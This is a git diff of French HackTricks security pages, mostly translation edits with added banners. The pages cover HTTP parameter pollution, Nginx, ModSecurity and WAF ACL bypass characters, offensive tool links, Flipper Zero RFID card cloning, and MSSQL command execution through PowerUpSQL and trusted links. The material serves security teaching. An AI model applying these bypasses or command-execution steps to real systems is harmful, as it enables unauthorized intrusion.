La pollution de paramètres HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière non intentionnelle. Cette manipulation est réalisée en ajoutant, modifiant ou dupliquant des paramètres HTTP. Les effets de ces manipulations ne sont pas directement visibles pour l'utilisateur, mais peuvent modifier significativement la fonctionnalité de l'application côté serveur, avec des impacts observables côté client.
|
||||
La pollution de paramètres HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière non intentionnelle. Cette manipulation est effectuée en ajoutant, modifiant ou dupliquant des paramètres HTTP. L'effet de ces manipulations n'est pas directement visible pour l'utilisateur mais peut modifier significativement la fonctionnalité de l'application côté serveur, avec des impacts observables côté client.
|
||||
|
||||
## Exemple de pollution de paramètres HTTP (HPP)
|
||||
|
||||
|
@ -28,11 +33,11 @@ En insérant un paramètre `from` supplémentaire :
|
|||
|
||||
- **URL manipulée :** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, démontrant le potentiel de la HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres de double authentification (2FA) ou les demandes de clé API.
|
||||
La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, démontrant le potentiel de la HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres 2FA ou les demandes de clé API.
|
||||
|
||||
### **Analyse des paramètres spécifiques à la technologie**
|
||||
|
||||
- La façon dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, ce qui affecte la manière dont la HPP peut être exploitée.
|
||||
- La façon dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, affectant la manière dont la HPP peut être exploitée.
|
||||
- Des outils comme [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aident à identifier ces technologies et leurs comportements d'analyse.
|
||||
|
||||
## Exploitation de PHP et de la HPP
|
||||
|
@ -48,23 +53,28 @@ Ce scénario met en lumière une lacune critique dans le backend de l'applicatio
|
|||
**Cas de manipulation de clé API :**
|
||||
|
||||
- **Scénario :** Une application permet aux utilisateurs de mettre à jour leur clé API via une page de paramètres de profil.
|
||||
- **Vecteur d'attaque :** Un attaquant découvre qu'en ajoutant un paramètre `api_key` supplémentaire à la requête POST, il peut manipuler le résultat de la fonction de mise à jour de la clé API.
|
||||
- **Technique :** En utilisant un outil comme Burp Suite, l'attaquant crée une requête qui inclut deux paramètres `api_key` : un légitime et un malveillant. Le serveur, ne traitant que la dernière occurrence, met à jour la clé API avec la valeur fournie par l'attaquant.
|
||||
- **Vecteur d'attaque :** Un attaquant découvre qu'en ajoutant un paramètre `api_key` supplémentaire à la demande POST, il peut manipuler le résultat de la fonction de mise à jour de la clé API.
|
||||
- **Technique :** En utilisant un outil comme Burp Suite, l'attaquant crée une demande qui inclut deux paramètres `api_key` : un légitime et un malveillant. Le serveur, ne traitant que la dernière occurrence, met à jour la clé API à la valeur fournie par l'attaquant.
|
||||
- **Résultat :** L'attaquant prend le contrôle de la fonctionnalité API de la victime, potentiellement en accédant ou en modifiant des données privées de manière non autorisée.
|
||||
|
||||
Cet exemple souligne davantage la nécessité d'une manipulation sécurisée des paramètres, en particulier dans des fonctionnalités aussi critiques que la gestion des clés API.
|
||||
|
||||
## Analyse des paramètres : Flask vs PHP
|
||||
|
||||
La manière dont les technologies web gèrent les paramètres HTTP dupliqués varie, affectant leur susceptibilité aux attaques HPP :
|
||||
La façon dont les technologies web gèrent les paramètres HTTP dupliqués varie, affectant leur susceptibilité aux attaques HPP :
|
||||
|
||||
- **Flask :** Adopte la première valeur de paramètre rencontrée, telle que `a=1` dans une chaîne de requête `a=1&a=2`, en priorisant l'instance initiale sur les doublons ultérieurs.
|
||||
- **PHP (sur le serveur HTTP Apache) :** Au contraire, priorise la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé de l'attaquant par rapport à l'original.
|
||||
- **Flask :** Adopte la première valeur de paramètre rencontrée, telle que `a=1` dans une chaîne de requête `a=1&a=2`, en donnant la priorité à l'instance initiale sur les doublons ultérieurs.
|
||||
- **PHP (sur le serveur HTTP Apache) :** Au contraire, donne la priorité à la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé de l'attaquant par rapport à l'original.
|
||||
|
||||
## Références
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
@ -74,7 +84,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,12 +8,16 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Contournement des règles ACL Nginx avec la manipulation des noms de chemin <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Techniques [de cette recherche](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
@ -28,17 +32,17 @@ location = /admin/ {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
Pour éviter les contournements, Nginx effectue une normalisation des chemins avant de les vérifier. Cependant, si le serveur backend effectue une normalisation différente (suppression de caractères que Nginx ne supprime pas), il pourrait être possible de contourner cette défense.
|
||||
Pour éviter les contournements, Nginx effectue une normalisation des chemins avant de les vérifier. Cependant, si le serveur backend effectue une normalisation différente (en supprimant des caractères que Nginx ne supprime pas), il pourrait être possible de contourner cette défense.
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Version Nginx | **Caractères de contournement Node.js** |
|
||||
| ------------- | -------------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| ------------- | --------------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
|
@ -81,7 +85,7 @@ location ~* ^/admin {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
## Contourner les règles de sécurité de Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Contourner les règles de Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Confusion de chemin
|
||||
|
||||
|
@ -114,6 +118,11 @@ Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne s
|
|||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -12,6 +12,10 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# BlueTeam
|
||||
|
||||
|
@ -51,24 +55,23 @@ Autres façons de soutenir HackTricks :
|
|||
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Force brute de noms de domaine de manière asynchrone
|
||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Force brute de sous-domaines
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Vérifiez si les serveurs Web d'un domaine sont accessibles
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Vérifiez si les serveurs web d'un domaine sont accessibles
|
||||
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Découverte de sous-domaines
|
||||
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Découverte de sous-domaines dans github
|
||||
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Balayage rapide des ports
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Sous-domaines et URLs à partir de fichiers JS sur un site web
|
||||
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Dictionnaire de fichiers Web
|
||||
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Dictionnaire de fichiers web
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Extension Burp pour éviter des dizaines d'onglets répétés
|
||||
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Obtenir des ressources
|
||||
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Liste de contrôle Web BugBounty
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Liste de contrôle BugBounty web
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Vérifiez une liste de domaines contre les redirections ouvertes
|
||||
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Plugin Burp, analyse hors ligne pour découvrir des domaines, sous-domaines et IPs
|
||||
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Liste de différents outils
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Plugin BurpSuite pour trouver des vulnérabilités (SQLi, XSS, SSTI)
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Extension Chrome pour suivre les fonctions de post-messages
|
||||
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Tests d'authentification automatiques (supprime les cookies et essaie d'envoyer la requête)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross est une Reconstruction, Scanner et un outil pour les tests de pénétration / BugBounty. Cet outil a été conçu pour tester les vulnérabilités (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
|
||||
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross est un outil de reconstruction, de balayage et de test de pénétration / BugBounty. Cet outil a été conçu pour tester les vulnérabilités (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
|
||||
# Windows
|
||||
|
||||
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Mouvements latéraux
|
||||
|
@ -76,7 +79,7 @@ Autres façons de soutenir HackTricks :
|
|||
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistance
|
||||
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Techniques d'injection de processus Windows
|
||||
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Scripts de l'équipe rouge
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : trouver des configurations de sécurité incorrectes dans la stratégie de groupe Active Directory.
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : trouver des mauvaises configurations de sécurité dans la stratégie de groupe Active Directory.
|
||||
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Obfuscation Securestring
|
||||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Spoofing du PID parent
|
||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Chiffrer les charges utiles Powershell
|
||||
|
@ -98,7 +101,7 @@ Post-crème :
|
|||
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
|
||||
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
|
||||
|
||||
Comment extraire un firmware si vous ne le trouvez pas en ligne : [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
Comment extraire un firmware si on ne le trouve pas en ligne : [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
|
||||
Voici un firmware avec des vulnérabilités à analyser : [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
|
||||
|
@ -125,7 +128,25 @@ et voici la méthodologie OWASP pour analyser les firmwares : [https://github.co
|
|||
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Mots-clés
|
||||
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Piratage IoT (Wifi, BLE, SSDP, MDNS)
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : automatisation du scan
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Cette liste vise à couvrir les sujets liés à la sécurité Electron.js.
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Cette liste vise à couvrir les sujets liés à la sécurité d'Electron.js.
|
||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Infos sur les programmes BB
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,14 +6,19 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Introduction
|
||||
|
||||
Pour plus d'informations sur le fonctionnement des balises 125 kHz, consultez :
|
||||
|
@ -26,7 +31,7 @@ Pour plus d'informations sur le fonctionnement des balises 125 kHz, consultez :
|
|||
|
||||
Pour plus d'informations sur ces types de balises, [**lisez cette introduction**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz).
|
||||
|
||||
### Lire
|
||||
### Lecture
|
||||
|
||||
Essaie de **lire** les informations de la carte. Ensuite, il peut les **émuler**.
|
||||
|
||||
|
@ -36,20 +41,20 @@ Notez que certains interphones tentent de se protéger contre la duplication de
|
|||
|
||||
### Ajouter manuellement
|
||||
|
||||
Vous pouvez créer des **cartes factices dans Flipper Zero en indiquant les données** manuellement, puis les émuler.
|
||||
Vous pouvez créer des **cartes factices dans Flipper Zero en indiquant les données** que vous avez saisies manuellement, puis les émuler.
|
||||
|
||||
#### IDs sur les cartes
|
||||
|
||||
Parfois, lorsque vous obtenez une carte, vous trouverez l'ID (ou une partie) écrit sur la carte de manière visible.
|
||||
|
||||
- **EM Marin**
|
||||
* **EM Marin**
|
||||
|
||||
Par exemple, sur cette carte EM-Marin, il est possible de **lire les 3 derniers octets sur 5 en clair**.\
|
||||
Les 2 autres peuvent être forcés si vous ne pouvez pas les lire sur la carte.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **HID**
|
||||
* **HID**
|
||||
|
||||
Il en va de même pour cette carte HID où seuls 2 octets sur 3 peuvent être trouvés imprimés sur la carte
|
||||
|
||||
|
@ -57,22 +62,27 @@ Il en va de même pour cette carte HID où seuls 2 octets sur 3 peuvent être tr
|
|||
|
||||
### Émuler/Écrire
|
||||
|
||||
Après avoir **copié** une carte ou **entré** l'ID **manuellement**, il est possible de **l'émuler** avec Flipper Zero ou de **l'écrire** sur une vraie carte.
|
||||
Après avoir **copié** une carte ou **saisi** l'ID **manuellement**, il est possible de **l'émuler** avec Flipper Zero ou de **l'écrire** sur une vraie carte.
|
||||
|
||||
## Références
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,25 @@
|
|||
# Abus AD MSSQL
|
||||
# Abus de l'AD MSSQL
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **Énumération / Découverte MSSQL**
|
||||
|
||||
Le module powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) est très utile dans ce cas.
|
||||
Le module PowerShell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) est très utile dans ce cas.
|
||||
```powershell
|
||||
Import-Module .\PowerupSQL.psd1
|
||||
```
|
||||
|
@ -80,9 +85,9 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
|||
|
||||
## Liens de confiance MSSQL
|
||||
|
||||
Si une instance MSSQL est approuvée (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données approuvée, il pourra **utiliser la relation de confiance pour exécuter des requêtes également dans l'autre instance**. Ces liens de confiance peuvent être enchaînés et à un certain point, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes.
|
||||
Si une instance MSSQL est approuvée (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données approuvée, il pourra **utiliser la relation de confiance pour exécuter des requêtes également dans l'autre instance**. Ces confiances peuvent être enchaînées et à un certain point, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes.
|
||||
|
||||
**Les liens entre les bases de données fonctionnent même à travers les relations de forêt.**
|
||||
